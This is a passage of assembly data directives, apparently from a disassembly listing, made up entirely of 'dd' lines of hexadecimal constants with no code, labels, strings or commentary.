7CCAD15Eh, 6A4AD0E4h, 9888308Bh, 0FCF119C1h dd 70AEB20h, 496F3A8Fh, 82A0AA4Eh, 0BE4D71E3h, 2A079C5Eh dd 0C684720Bh, 25283CB0h, 30418DF2h, 182C3208h, 0B7B9D2E7h dd 0DC370FDFh, 7DA1BC4Ah, 781049A0h, 8CE5E880h, 0DEAC520Bh dd 3B00D58Ah, 6E148488h, 17808CBEh, 0C5459CCFh, 7635007Fh dd 2AFAB119h, 0B90014BEh, 794F3DA4h, 0C0CD0EE6h, 11CB1EA9h dd 7A00D4BFh, 7E8C8D1Fh, 23F83Eh, 260EB31h, 24D8CB73h dd 862F1h, 7141B265h, 74CA134h, 1FB5D401h, 0B8E4E497h dd 22620570h, 0BCA3C939h, 3A75427Bh, 0F97E3795h, 2CE6EE84h dd 0FAA953B0h, 6E0BCB16h, 0FFB10893h, 6F48180h, 2CC67DD1h dd 74F4C7FEh, 97A4446h, 0F7C7B6ECh, 9A2D3083h, 40C4C0FDh dd 0DD0ED99Bh, 72A6ECE9h, 965F8020h, 32DF00F1h, 3C1A83EDh dd 0E52F5DF7h, 49FC12h, 47F18624h, 0F248514Eh, 0A57A042Ch dd 0FCC1CE59h, 48F34A20h, 46022481h, 0E87AEB4Eh, 0F8FE38C2h dd 0FE06E8D6h, 0E3BE0F42h, 86A6A981h, 720978FDh, 45AA0292h dd 60E5C4C8h, 17A9985h, 0FF5BB883h, 0F5456AA1h, 0FB80343Fh dd 31D34633h, 2630B88Ch, 97C3EA21h, 0D7AD78B0h, 29336Fh dd 0A8E6071Fh, 8C904Fh, 0B0E462FFh, 86CD5CD1h, 68D0D54Eh dd 547D6F44h, 0D30DC492h, 0B1CC0440h, 803109D2h, 38C22BA4h dd 0B028B88Ch, 26FE72C8h, 8814E5C3h, 940E3D57h, 59B7C555h dd 1B674C0h, 0C02D7C5Eh, 0D32E5C48h, 0F05593A0h, 0A66C20C8h dd 3351EF01h, 0EE8DAAFBh, 8544A031h, 0D802A084h, 0FEC0E7FEh dd 5F217600h, 0E4A780F2h, 0E3EA16FAh, 7DD0B500h, 5E4A92A3h dd 98EE6BCDh, 803ABCD1h, 0EB46025Dh, 0E7B44Fh, 0CC5075C3h dd 4A064540h, 0A702F4A8h, 0DEEA2206h, 0FCA8B9F5h, 79F977F3h dd 16745F7Ah, 0DE543134h, 1702D86Ah, 4AF0AEE4h, 0FC602F0Fh dd 0B8AE0FBh, 79E7DB6Ch, 94D5A41h, 3C56C55Ch, 0CB802F9Eh dd 53A1B582h, 0DF512875h, 0A9E025DCh, 0E5119C97h, 304A6A80h dd 9C014FE4h, 0C5DAB24Ch, 0A8A5CB6Dh, 0E1D11C51h, 6D04FF18h dd 8735AD21h, 194420AEh, 9B26E0C5h, 0DC00AE4Ch, 64EE3209h dd 139003Dh, 7D85FB31h, 0D0C4C571h, 60FC291Ch, 23A82E96h dd 0FF5500DAh, 0E137D8AEh, 0B7869F24h, 6CC05D13h, 0EC5388ADh dd 3CCA1D5h, 731C2479h, 80DD58A5h, 6D494E69h, 0A07A2608h dd 365467Eh, 0BA7F1857h, 77ECB0EEh, 0A62D00BDh, 0F57927C1h dd 7E7A5653h, 75D068C5h, 10C738E4h, 0BFB1D64h, 0F0A28BE3h dd 768273B0h, 0B54358F4h, 0A183CC00h, 0CA1A854Dh, 3C13B8D6h dd 9CC8EC03h, 7C890194h, 123681ADh, 54743079h, 4CF7072Ch dd 0DC2B94A4h, 3E562108h, 0FC24A815h, 44D51F02h, 0F874F468h dd 0F329215Ch, 273B2E9Ch, 91EC1747h, 0F09581DDh, 0C9801E92h dd 8F5F8D4Bh, 0CB02E6A2h, 5D0F20B5h, 9860559Fh, 67007461h dd 7C92B24Ah, 31EBAAEh, 38FB8AB5h, 0D2F8DAD7h, 0C925891Fh dd 0C3E04A07h, 0EDD19EBCh, 4C40F2E6h, 0FF775CB8h, 0F4F6CC02h dd 1DC465Ch, 0C8A52607h, 0F1F4C139h, 0C01D5A4Eh, 0A62389C4h dd 4048385Eh, 59B38FF7h, 0D8A81120h, 14799791h, 0E3009CD2h dd 4B6CEBEDh, 0CECBA96h, 0C899DEF1h, 0D312A650h, 0CCE27D6Ah dd 0F9766C00h, 0A217A48Ah, 0E2825303h, 0E0748E5Eh, 0F6492C14h dd 0AE8834F8h, 4E348231h, 14B46072h, 1417A340h, 0A03705AEh dd 0B95D6EF8h, 0E86C4C38h, 74008CE0h, 1EA7C3F6h, 17DF18F7h dd 8C4FBADDh, 364066CCh, 58571454h, 0FB12C04Dh, 291CD2ACh dd 4800A464h, 578D885Ch, 0EAABF9CAh, 45EF0073h, 1D6BBBA5h dd 9304B7F7h, 0AD7572D8h, 147BCE0h, 4D717B89h, 601429FAh dd 814B7270h, 24BB6880h, 71DE25C2h, 4890D800h, 8B18F602h dd 0EA81CCE7h, 13A0F47h, 98B44EBCh, 0C11CE29Ch, 1781A8Fh dd 0D1E32B65h, 2C00383Ah, 0E494B88Ch, 15922540h, 0B22E0036h dd 7A19C74Bh, 82005A34h, 3D2CDB94h, 9FD431B6h, 389CE494h dd 831C2801h, 40E2A0DDh, 41CD4C64h, 2294F089h, 790DBDA0h dd 541B7D24h, 0E648FB41h, 0E344222Bh, 84C8876h, 8C9112h dd 0CA672542h, 0EF077274h, 0FBB8E499h, 4A45540h, 49C30594h dd 0A0BB7971h, 0FC10C9F0h, 800BE169h, 1C623E85h, 73807829h dd 60FF325Fh, 53861900h, 0C8A7E967h, 9E2902DFh, 0C333F531h dd 39DABC43h, 0D3FC040Bh, 0BBAFC240h, 0EB3A814Ch, 9D5013A2h dd 0E64A44F2h, 56EAA004h, 0E9E739DEh, 0C8FF7998h, 0E4AA1B11h dd 9168975Dh, 0AC2C80A3h, 7FF71123h, 5F33021Eh, 73CBB981h dd 0FF161044h, 5CB0F1FCh, 0D0A0C354h, 49E61BE6h, 6F416309h dd 93CAB40h, 127385C4h, 0A618A4ADh, 280E1932h, 45701442h dd 4920AD33h, 4C3C4DBCh, 0BA7E300Bh, 2B16D450h, 80E57619h dd 5320416Fh, 60750C4Eh, 4867210h, 0C6BBD763h, 0ACA0E965h dd 0C16C0050h, 0ADD61217h, 47059E72h, 0B1754DBDh, 0F80EA0B8h dd 0D2090243h, 465EDC76h, 579C00DFh, 1DCBFCC0h, 0D14B13F4h dd 53E823A6h, 0B42B682Ch, 0D9502402h, 8F07Dh, 0F62C19FBh dd 7BCE548Fh, 48F0F0B3h, 4E7D0036h, 496CFE51h, 0F35A18A8h dd 2A81689Bh, 0CD93A1BAh, 34FCF2FFh, 7D71D475h, 0FA58202h dd 600390FEh, 78A84238h, 0C540070Eh, 34DED019h, 74773236h dd 11604EF8h, 0B4C91914h, 3F005575h, 0B6F10A86h, 7C0CD8FAh dd 1D8B8D4h, 5E1C60EFh, 6ABC846Ah, 4D6FE020h, 3908B472h dd 42362293h, 0CD45FB88h, 1753E854h, 53DCBA30h, 302C3628h dd 5011D142h, 22921D88h, 0ABA00B18h, 47B00490h, 0A09E714Eh dd 62C6D9Ch, 0EB916CB7h, 0AC14C43Fh, 4881842Dh, 407E07D8h dd 0C51A2708h, 0AE561F3Dh, 0F84684Ah, 38C09DD4h, 13798301h dd 3517DA5h, 32A756C8h, 7BE781E7h, 15A1D4C5h, 822D7213h dd 7634F0h, 3CBCCABEh, 4E45AD2Bh, 0A0A53835h, 1194C8h dd 0FFE08042h, 0D9D1B5B2h, 4047FB00h, 203136DCh, 60820167h dd 567D70C5h, 33A8422Bh, 300078FAh, 0D19EAE25h, 5B64E2h dd 69774295h, 0EF172AE7h, 8F40D89Ch, 606ABA39h, 10D6CE72h dd 3069773h, 2E2A4DADh, 0BB400B58h, 80017201h, 38F66745h dd 804F0BC8h, 7DE400ACh, 44EB28Bh, 649AA83h, 0FAD4B076h dd 39224300h, 4DD49689h, 71288F1h, 8FECE800h, 0ACDC3F09h dd 4A730531h, 86044221h, 0D0001884h, 5070C4EEh, 808CE8C1h dd 0BB240171h, 741685Ch, 0B74126EAh, 0EC40E179h, 71C8987h dd 0C85B4496h, 0FC86D46Eh, 4DA02448h, 4490AB12h, 304015ACh dd 7411F5E7h, 0AD073FA5h, 43930EBEh, 6CCD2A10h, 2676001Eh dd 854D6E1Fh, 2092B6F2h, 8B79A600h, 69CE8F04h, 1E3800E5h dd 7EE6A861h, 4C017845h, 6C6F09E1h, 97E0C610h, 32EA00D1h dd 0EED72702h, 9D006B1Dh, 7DDB88B2h, 0FBDAE6h, 15F2B159h dd 0A69AA186h, 3C0EAF02h, 0C3FCB674h, 613FB86Dh, 7CB07854h dd 9A760E3Bh, 2CA5BCA0h, 38206CDCh, 0DD420h, 36D5BB73h dd 0AF977B71h, 54573107h, 0D71B330h, 0C7F0729Bh, 810C1D85h dd 71E14064h, 0CAD65E3Ch, 2038D868h, 108029E6h, 42EE115Eh dd 7C490014h, 0B268E10Eh dd 9438006Bh, 8EF4FFCCh, 339980Bh, 36408073h, 0B40FC001h dd 0B33D15BAh, 86534AFh, 3E804776h, 87D6E8AEh, 5DA6C0A0h dd 7BFEAF8Eh, 38F5500h, 3783B4A9h, 69E10102h, 0AA59CDC8h dd 8F2FE89Ah, 88CFF100h, 9BCE520Ah, 0C8100B8h, 0D0A5661Dh dd 83F40EC6h, 0EF460819h, 7088629h, 44A22344h, 0F6453E0Fh dd 0FC0610C6h, 848E6540h, 9E88987Ah, 0F69D88B9h, 3C41AA89h dd 212FB4Eh, 6FFD1482h, 2A213624h, 0B613DAh, 465CA679h dd 44029298h, 39A8FD00h, 959EFF3Bh, 0E56300B1h, 3864B096h dd 0C30A16E7h, 42F595Fh, 376DAD00h, 729FFC1h, 0B8DCB296h dd 0E0D6804Fh, 61027E52h, 0D24563ABh, 0F88663A5h, 35A6943h dd 0CAE2C853h, 0A7E93CAEh, 0B77D3081h, 9DA60500h, 0F21F58AFh dd 0B9D9001Ch, 3872AC01h, 6C0056D7h, 91F8C4CFh, 0BB4768h dd 0E2AE95B1h, 0C1859869h, 9CC0B200h, 0ADCD383Ah, 1117483h dd 446A10BCh, 0ECDA93F9h, 79FE3B37h, 83F38203h, 0C86733C3h dd 0CE68D4Ch, 0B16FDC5Bh, 0BD0080C0h, 0CB046D48h, 6857D2h dd 9E889B97h, 2196B937h, 80FA473Bh, 0E270DF60h, 1EA6483h dd 928D4463h, 460CFE94h, 3B0781A7h, 0F131DC06h, 174826F1h dd 0BDF7BECh, 550CE511h, 57733900h, 0E900125Fh, 3D30CBF1h dd 707DB2h, 909AD191h, 0AE2E5AE6h, 0AB67D700h, 0ED2A2D78h dd 24C80028h, 0B5A93D91h, 7B00DAFFh, 3FFD85BEh, 0D0AE5Eh dd 0B3A19CBAh, 0A9054510h, 0B9448900h, 0D36A24FCh, 1FA98E9h dd 0B2466D14h, 8F97E634h, 80951370h, 5AA67BCBh, 0A7E4009Ch dd 0C53D455Fh, 0F709CF0Eh, 871C6975h, 0B7106A9Eh, 4052CEh dd 0C9327261h, 31C7E10Dh, 82BC7003h, 511C19h, 63418358h dd 0DA89AC10h, 1670A600h, 35488692h, 0A07D05h, 0BDDC6738h dd 31C51DD5h, 9EFC7B00h, 28E671F7h, 0E2380034h, 92B8CD7Ah dd 150C6EE3h, 10CE1CFDh, 0E1031E2Ah, 8AEAC072h, 0DD01E9C8h dd 4634C0E5h, 0D7A19500h, 33FA2059h, 6C4E005Fh, 31EE152Fh dd 66006406h, 74AC362Ch, 0CBB03Ah, 0A82372F1h, 837EA659h dd 2B9F2200h, 6C8C6D55h, 62EC01C6h, 0ABBB64F4h, 34A2C02Eh dd 97D45000h, 0A04CD71Bh, 28D90005h, 90EA77F8h, 0E901A3DFh dd 0E3BE20C0h, 4AE07406h, 8CA95099h, 3087584h, 6A217D78h dd 0CAE17FD6h, 66B9F440h, 0D4006C78h, 0A110694Fh, 18CFE2D9h dd 9DE0287h, 2D00CB54h, 38D033DDh, 0A45559h, 4A631025h dd 0E57A15CEh, 62349400h, 892F5A61h, 0CAD3D59h, 97DE9880h dd 4004D09Ah, 9D773E00h, 0B6D5FF9Ch, 186D003Dh, 1734AAC2h dd 5B7B87D2h, 741961F0h, 3810B751h, 7DAADEECh, 1C9180E6h dd 0B4CD9C02h, 402981DCh, 40FD2F2Ch, 6490268Fh, 19DB3D00h dd 0A5D3CB0Ah, 6A9D1F92h, 0E98A0011h, 37157FDFh, 0CE391400h dd 26F4F690h, 1EA50093h, 0B2FB19B5h, 0A2ECB150h, 5885DB00h dd 78402A39h, 23680089h, 0D1E7A51Eh, 0F1750C14h, 0BD2EA200h dd 0C6483F1Ah, 0A078009Bh, 912FFBAAh, 93486726h, 986F000Ch dd 0FAABF062h, 73340456h, 80FFCF8Bh, 5867CF4h, 186F3Fh dd 59FCA920h, 0EE5B0BF2h, 54B400DAh, 62AC9568h, 2300BCB9h dd 399ED567h, 14455B5h, 90581794h, 7048A7FDh, 21002ABFh dd 0B0B7F8C1h, 0CF6980h, 0C39333A1h, 587DFA2Dh, 0A5E68B00h dd 969B08EAh, 608300D1h, 0CD800451h, 5700AB4Fh, 5DA54A5Eh dd 0FDA94DD2h, 7AE4CD8h, 8FE5B0DCh, 0E6D533h, 8B2F1904h dd 3C03B348h, 783FD6AAh, 0E0D78835h, 8C71F1Eh, 40DA5CCAh dd 3DDE44Dh, 5C00C1C8h, 0E36A30D5h, 0B8205Ah, 99AB0935h dd 0ED5F2F6Dh, 620EF700h, 0D5B5D49Ch, 0FEFA0919h, 0FC00E77Bh dd 402E9822h, 0D7F982A0h, 0BEEAF0E0h, 0A707DB7Fh, 797537DCh dd 28669220h, 4879A3h, 3E71F4B5h, 0B9E108ECh, 0CB799E2Ch dd 8B5C2400h, 0E3CF18h, 614F023Ch, 0D60476D8h, 0B9664D00h dd 0ABF66D03h, 0D10D3DB1h, 0AF07BC48h, 404C50A8h, 379392C9h dd 9F6AA00h, 1988BA2h, 0E43F0789h, 0B3DDBDFCh, 0A5F02C9Ah dd 2E06C793h, 1742CEBAh, 124B0011h, 7E3B802Ah, 880016A9h dd 4EAD9479h, 1C0BAC06h, 523FC18Fh, 6B700087h, 3D854AF4h dd 57A5E901h, 5B23EB6Ch, 0C0AC20h, 0BEDB0A51h, 2D3BCF50h dd 6581F106h, 9FB2Eh, 0DC6E7B25h, 0AF6994DFh, 100B3800h dd 135BF921h, 498303A3h, 50A5FFBEh, 0B4AB2EC0h, 36A09B00h dd 0D9C93E6Dh, 98EA0074h, 144A358Ch, 0BA0065F2h, 0C5E3820h dd 94A72Fh, 6118A55Ch, 79E0054Eh, 6BEE3400h, 0C5919AFBh dd 0EC587733h, 5E6601D3h, 0D8167D9h, 4D24FC14h, 57366800h dd 58B417FEh, 6CB0D3h, 0B93001BBh, 0DD5A49AEh, 0D43D6100h dd 0D33C4E85h, 0ADFA80h, 64E28E76h, 8AC9400Eh, 2936BE18h dd 0CBCEBEh, 0CFC332C6h, 28FA35F0h, 5018F300h, 5CB66D88h dd 0BD20737h, 0D0942440h, 6B56E8E3h, 0A8004CB0h, 9ED96D1h dd 0EF7F0Eh, 0A0E91652h, 86E06B7h, 0CD56AC07h, 0B6F0AAFFh dd 0EA1002h, 89B5F8B4h, 22BA04D8h, 3EF3DA2Eh, 0D1DF3A00h dd 60E49453h, 0F1EA08D3h, 0D901922Eh, 1F672C8Eh, 0A0ECD081h dd 9BDD1F45h, 0A47D4F01h, 0AE084BA3h, 0AC683E80h, 90A7DC0Eh dd 0DD47E064h, 3D1115Ch, 0A445F836h, 0B7F082C5h, 0BC304C07h dd 52B940Bh, 6D9700E2h, 0B827A663h, 2600BA80h, 1C8F7FB5h dd 991B4h, 0CD656E96h, 50A7FC47h, 0FDC0A501h, 0E2FAC259h dd 40F670E1h, 0D7DD20h, 1A3ED873h, 0D2AAFDEEh, 0AC2BA90Eh dd 8A20C0D9h, 166A4DCh, 7A3EF84Bh, 71401AE7h, 5B62E41Ah dd 60DC010Ch, 5F0945h, 57CAD5EBh, 0BF921ACEh, 704E1D0Eh dd 634CC09Ch, 1126F7Fh, 0A3FEA4FFh, 0EC946496h, 3A075554h dd 0BA6A14E2h, 1F3F7120h, 1B4C177Ah, 8224002Bh, 0AFF8BC6Ch dd 0D1E3D700h, 0FA3BA9C8h, 2F0B004Bh, 0FB3634F7h, 6000794Dh dd 7CC07AD6h, 7FEE0555h, 0C9679FEh, 64499D90h, 8F008576h dd 0AF616A57h, 77094A58h, 0B76B01FDh, 0C6653463h, 5E4ED022h dd 544D2D00h, 502928BEh, 0E87523h, 0AD02CECFh, 890CB6EDh dd 0AF08EE60h, 2C6C10Bh, 5225FE92h, 5C0C454h, 900FD98Ah dd 4055866Dh, 4C80CA83h, 0C0330002h, 20B4B788h, 0F207E1A1h dd 34FBEA5Fh, 9F53E20h, 90A91DF7h, 0A1EB8015h, 5397D97Fh dd 57021E7Fh, 7A865F79h, 0EE5C4024h, 0AC50E96Ah, 1544F6Dh dd 4A395351h, 0F401D778h, 492C7302h, 1C3CD106h, 346CC71Ch dd 76C0A91Fh, 18BD7A19h, 1684A0EDh, 0E2201D9h, 7BADB226h dd 2439D4CCh, 768C1000h, 0B2B5AAEh, 0A698A89Ah, 0D0F23843h dd 0E81EAC80h, 3B0348B2h, 11883C1Fh, 2C6A32C0h, 0E96E30h dd 8557AEC2h, 0A5D7A247h, 0D5692F1Dh, 53E2CE83h, 8080BC23h dd 64B62AAh, 6D9CB8ABh, 0A71D4071h, 0E9876619h, 1084A3AEh dd 0CC9C83h, 0BE13DD90h, 597B8488h, 0B7ED9400h, 0E71B6273h dd 1A2F0782h, 0D7A00D7Eh, 0BE880045h, 0F0070BAh, 0F2CB231Fh dd 647BC9h, 3C901534h, 6EF72522h, 91FAC400h, 881BE708h dd 0C2F4034Bh, 5BCC6C43h, 106424D8h, 3EECFF00h, 6D80E4EDh dd 3B7041h, 0D979BCEFh, 0BDB127A1h, 0BE00B3B8h, 54647689h dd 1E4030h, 787970ADh, 0A9D302E9h, 801C9838h, 7392BB3Fh dd 0A52BE21h, 1905E26Bh, 1AA001F0h, 209F1B42h, 41E1688h dd 0A00E91Eh, 0EE510D06h, 959817h, 0BAC7AF89h, 0B0C39B5Dh dd 7B8E09C0h, 18DC19Dh dd 0B3A2905Ah, 31A894F6h, 3626604Ch, 1F0DF8A0h, 0AF0F4C03h dd 0B00EB8F3h, 93B55E07h, 5528002Ch, 642E4557h, 0F48FD344h dd 83C40096h, 2238C02Fh, 8C007AF5h, 2AAC1D37h, 808A92h dd 3DD10CE0h, 32AACD0Ah, 65D80560h, 0EA5C07EAh, 0DDE65Fh dd 5E26B93Fh, 0ECE51099h, 9CCCE103h, 87E705F1h, 39D23A91h dd 0CB6CE8h, 0B478B68Ah, 0FECE63B9h, 0C8DEE012h, 5F009C53h dd 7B7A15C4h, 0EE73131Dh, 0F8480081h, 59C49D3h, 0AF3FCAF4h dd 0B9F505DFh, 68C02A76h, 0F709EBCh, 0AEEBDF7h, 0A78DE7E0h dd 0BA006772h, 0B84CBEA5h, 5EC494h, 0D88B9605h, 31A42803h dd 4DE1C3Fh, 2C1AD584h, 2FCEA4C0h, 0B04A2450h, 0C1E11h dd 0D0020728h, 0C600033Ch, 0C70457EAh, 3B1DF76Dh, 1C187CA7h dd 26B309A1h, 0BCA6A900h, 56BBB68Dh, 7102262Eh, 86E800A4h dd 0B58BBE68h, 2497F202h, 404EDA57h, 1FBC5994h, 80807782h dd 7638EB22h, 65077B9Ch, 841370F8h, 3640D737h, 9CF9EA8h dd 64E5565Dh, 83BA4880h, 0AD00113Bh, 2AD8CB1Bh, 7CBFAC49h dd 44263051h, 0AB583F60h, 0B2097C75h, 0A0AE3ECFh, 1DD64610h dd 93E30E0Dh, 0B88420DFh, 1810802Eh, 5900B56Eh, 7B5FAD66h dd 39BB154Bh, 0D0807E4Fh, 631DB1BCh, 0C700688Eh, 0FE4777AEh dd 83F378h, 4D3E501Eh, 0DC17539Eh, 0A4B9C900h, 9CD9A333h dd 0F10B0013h, 0A086B144h, 0E400371Ch, 7897AC16h, 0F028F95h dd 4CD8FF8Bh, 0EC6143C3h, 0C76299F8h, 0BF259600h, 903592A9h dd 12D21F02h, 2EE0401Fh, 49EBBEFEh, 0EEE8FB00h, 0C7A73101h dd 2F881423h, 0DA00EC25h, 0DFDEBC6Bh, 0CF009952h, 0D65364B8h dd 986F60BAh, 370EE9Fh, 0EFB2916Bh, 46B7D0C8h, 6C0009CAh dd 6819657Ah, 7DC26281h, 9BB6C072h, 0C12FC92h, 486DC02Eh dd 89A4B500h, 406E0Dh, 0CB014BBFh, 56FD13EAh, 0E89E3601h dd 9451F837h, 0D7B6DE40h, 585400B9h, 0BA41ACCDh, 0EE395D19h dd 6BE3803Ch, 0D10B2C34h, 762E0EC3h, 0A8E0B4D9h, 9B38B13Fh dd 93E803FCh, 0D0775A00h, 4099FABBh, 0C0430368h, 6BB3F45Fh dd 4C2DB90h, 0CDCF6D00h, 545B9DCCh, 0ACE000E2h, 0A8EA53D5h dd 0B3F8B8F0h, 0DA091303h, 1D3BE60Eh, 7BB07BCh, 90F73586h dd 725FD2ECh, 6C208E0Bh, 790E005Eh, 144F3445h, 0B4267AB0h dd 2D8F0072h, 0CE9ED32Bh, 881FEC6Ch, 81A763E8h, 818F8A2Eh dd 0E800DD0h, 0F1E07FBh, 1309198Ch, 5094809h, 0C2988F1Ch dd 0A0224E37h, 0C8A708B4h, 0DE008EBEh, 11EA8831h, 759EF3h dd 5EE7EFAEh, 2405D61Dh, 11C9B00h, 63F70A09h, 0F89200C7h dd 9D66B078h, 2498AEECh, 6DA69C00h, 2E29DFB4h, 0FCC73938h dd 515A9E80h, 6A63D7A4h, 2A707200h, 9E3D284h, 7C2502E1h dd 3F969CF8h, 0FFE7D8C1h, 261B4EF0h, 0E81DF600h, 5ED87DFBh dd 0DD9C00DBh, 51EC8944h, 6A90DFB3h, 32A49200h, 62C53020h dd 44190E9Eh, 7E601323h, 0AED01BB0h, 41E52D00h, 4ADB76B6h dd 3EB0A01Fh, 7E4B817h, 7CDCF5E0h, 7237003Dh, 0F22CF43Fh dd 0F3019F77h, 0AE269A74h, 50308C29h, 0F9B78209h, 0DA8BB400h dd 41872DFEh, 0B0AB5072h, 4777FC58h, 0E35900BFh, 0D5945DA6h dd 9E8D336Bh, 72808E93h, 0BB073884h, 40025CCCh, 0A9EFDEF0h dd 0CA7A86h, 0D3D08C21h, 4FD911FFh, 7D1B539h, 0B2D2B820h dd 675C26B0h, 0F2E13DEh, 0A9D70086h, 9D5F2D84h, 0E3373A00h dd 0ADEEC217h, 316D3827h, 917317h, 0DC5598C5h, 5C00BDE0h dd 1A7A5403h, 1E6D47ABh, 8083C0BAh, 0EFE09437h, 9E0018D6h dd 0BEEC3F68h, 37C67AFh, 4459A1D1h, 0C1F0CD04h, 1DE6EA02h dd 910058F0h, 16CE3D82h, 6E8A8Fh, 8508CBAh, 6CBD4E81h dd 46A40101h, 0E21B63B0h, 0BB6DE0h, 0E5DAC272h, 16D41D10h dd 0C605877Ah, 17D8A983h, 0E78F4D0h, 66B90091h, 9FB11DBDh dd 8500EF96h, 9E687198h, 0B0FAFC25h, 0AFD2000Dh, 39065860h dd 59000A36h, 2C73E596h, 214D982h, 65EC0B48h, 840628Dh dd 6A032BD5h, 8E7D48Ch, 63717D19h, 0D3FD0851h, 0D450200Eh dd 5885833Bh, 1D187A23h, 803907B7h, 0F8C20A03h, 0BA3F554Bh dd 3083C25h, 0D1264E3Ah, 348780Eh, 16D4BF0h, 41072BF2h dd 0D4E9B950h, 650E84F0h, 4D230CB2h, 0BF589D08h, 9AA9B606h dd 183122AEh, 0A101499Fh, 4B0EA084h, 8040C012h, 0A631C25Bh dd 9A10A02Ch, 991CA091h, 938004Fh, 28D2C017h, 0B400D808h dd 641C5D7h, 2EEE36Fh, 0DA968FAh, 1540CC10h, 85005C7Fh dd 6788BA7h, 78A8C91h, 0F73E7968h, 0A324B093h, 8E004167h dd 1B915410h, 489EB5h, 432E587Eh, 82E319EEh, 62B1ECFFh dd 94F9DE98h, 0E0040891h, 0D9219Ah, 165C882h, 0B02E255Ch dd 3F97073Eh, 67C8DCh, 4BF83B1h, 0CA5BBCh, 6007B988h, 2A97BA71h dd 7F612F00h, 8BCC6599h, 0D65D00EBh, 0BE04C1C7h, 69C0EAFFh dd 66AE544Eh, 0F1410C85h, 0B4096D2Bh, 0D020FB6Fh, 284A2Ch dd 0DB8A5231h, 9F1867CCh, 0D7B16C97h, 9A0C03E1h, 0AF0DF93Dh dd 0C2217FD9h, 4D967AC0h, 0EE1A3203h, 0B1A55476h, 9C04A16h dd 0F5DE5CFDh, 5398E830h, 109250B2h, 9CD2D30Fh, 0A3BB0EE3h dd 0E8FE7735h, 3543EFCh, 9AB97B6h, 300FE752h, 8ABE139Ah dd 38702056h, 22048C72h, 18A64A6Eh, 0CC1D1090h, 0C20F38E4h dd 9A0A4C03h, 1EA34B10h, 63472100h, 5B1FF3E8h, 0C8580782h dd 3241CC0h, 4A8BC21Dh, 0B685E000h, 6A72803h, 0C0B4A9D7h dd 0AE085218h, 0C651854Ch, 0AC0021F7h, 4792AEEAh, 7C79ECBBh dd 99930184h, 1A330416h, 55B891B8h, 0C7E86784h, 445C7A19h dd 0BE584012h, 0ECF8E4h, 8405AE6Ah, 0C23E9CB2h, 0F9768B1Fh dd 0A18509Ch, 6BD5C81h, 0AAA3AB74h, 0D107406Dh, 8CD8BCFBh dd 2D3454D0h, 25283B91h, 1A6DF681h, 0E03CC4EBh, 6600B33Dh dd 9CD6CB5Eh, 7F5220C7h, 0DDECA09Dh, 99C160B6h, 0E34C35Dh dd 176AC00Ch, 0B7903h, 401C39B3h, 0D3B0E244h, 6129230Bh dd 3493800Dh, 146B0B2Fh, 0B4EE4AAAh, 53960504h, 9A790137h dd 0E3DF720Ch, 0B0BDEA24h, 11AE5DB8h, 8489854Dh, 0AD00FC51h dd 7028AEE9h, 0B9F92500h, 6EA2E4EDh, 0AA4C0011h, 0D76AEEF0h dd 4B604A92h, 0B8012478h, 0A8ACE407h, 0AFDB0h, 0D45F2B62h dd 0ED18677Bh, 186A6B3Ah, 102007A5h, 42B0049h, 9F1BE3D5h dd 0B8A416E5h, 0B44DEE28h, 794BB713h, 0D400BCC4h, 19607717h dd 0D6553074h, 9F07D751h, 59A28633h, 6318E32h, 29BF828h dd 5F00C009h, 0D5EBFEF5h, 24C0256Fh, 40EC4D94h, 0E6AA670Eh dd 348DED0Ch, 0E34124h, 32278579h, 0B5C6DA88h, 69CD4300h dd 34F1B37Ah, 4729C01Dh, 596F2C3Bh, 19101300h, 862D60A3h dd 0B27504DBh, 0C06ED4D9h, 21B8EEE8h, 0EB7D1402h, 802C3556h dd 0CBD81154h, 10BF48B6h, 98149F24h, 0B9632110h, 0A53DD700h dd 9F219B5Ah, 0CD640ADEh, 80D89C16h, 0E6D3C92Bh, 0EA0040BCh dd 0C6EC1E88h, 9E1F68Bh, 872CA7E9h, 7A437002h, 0CE8547C0h dd 14354724h, 66CF6B00h, 0C01E1381h, 83776310h, 2B4043B6h dd 856013CCh, 10F91386h, 0B723F404h, 5C2B6101h, 0A61873D4h dd 501388h, 0E316E2Bh, 0CED64C82h, 0E4F6E090h, 0B90EB59h dd 18E8D8Ah, 26AC9888h, 0C4B87088h, 56C71F01h, 20076FA9h dd 4A213678h, 99F8F73Ch, 0AB69FEA2h, 14CDC7E0h, 0BD365C1Ah dd 2F6EDD00h, 69642242h, 9196501h, 706D3C7h, 84E4F021h dd 41B40068h dd 4F295FEAh, 7B524C5Ch, 847A00CCh, 9F2EFAF0h, 0F4B1C2h dd 53199CB0h, 0D7029A65h, 93F0CD38h, 5EAC8264h, 148C9BADh dd 88D45DF8h, 2AC08052h, 8F902B77h, 593C660Ch, 585A0684h dd 0FC060019h, 0A802D9C0h, 306A9D48h, 0D3CEF0F3h, 0A2963E84h dd 0D7573104h, 0ACC0BFD9h, 0A45B07B6h, 2B4D2E40h, 0E9531F48h dd 5C2F60CCh, 0AD01E32Bh, 0D4F225D8h, 2434DAA2h, 0C8423D5Bh dd 12463ACh, 3F862161h, 8508204Ch, 0C68A9E00h, 1A08F96Eh dd 0A9926779h, 52F2C3DAh, 0B7E81812h, 0A423142Fh, 23065D2Ch dd 3905A6h, 0EFB614D5h, 3E9DCDEAh, 30BF550Ah, 7A09C0FDh dd 0CE04980Dh, 0F1447A9Ch, 0CDEBC441h, 3DA12Bh, 0CCBC28E0h dd 0C8746329h, 2406D78Bh, 65604F78h, 0C110B4E8h, 5AB04BB8h dd 0B403E4BCh, 847622C7h, 0A792B82Fh, 0C46A4C73h, 2EB816D2h dd 0FC521024h, 3433BEC0h, 5F019762h, 84D66132h, 0E43678F2h dd 0CFDF8B1h, 56F70994h, 6C201634h, 250D02C9h, 0D97D2BE6h dd 11F5C603h, 0B9FE3C61h, 2822F97Eh, 4E015C23h, 5BD4532Bh dd 2C88A118h, 582B0155h, 0B03079D8h, 1EEC2009h, 0A5CA848h dd 0B4496E23h, 0EE4CBC0h, 22A846C2h, 62440715h, 52D40CE8h dd 90C00239h, 0F55F6D63h, 1E26EDE8h, 9D1180h, 60EA3922h dd 5B68D7h, 3CED2DBEh, 9A3A0B6Ch, 0C4E04612h, 9D55FC32h dd 0FDF808D0h, 0B5751160h, 0BBEC9434h, 0E61D4700h, 0D6675C4Eh dd 49A0D41Dh, 5D71DF01h, 283077BDh, 0ED4D4C1Ch, 508DE167h dd 76892D79h, 38FD3830h, 905D73F0h, 0C0280B5Ch, 209E87h dd 8EA317Ah, 0C9B8503Bh, 5476B930h, 3C39ED01h, 0C21CD73Bh dd 9F7610ECh, 0F5F45254h, 108AAA17h, 24EFAC09h, 67625D04h 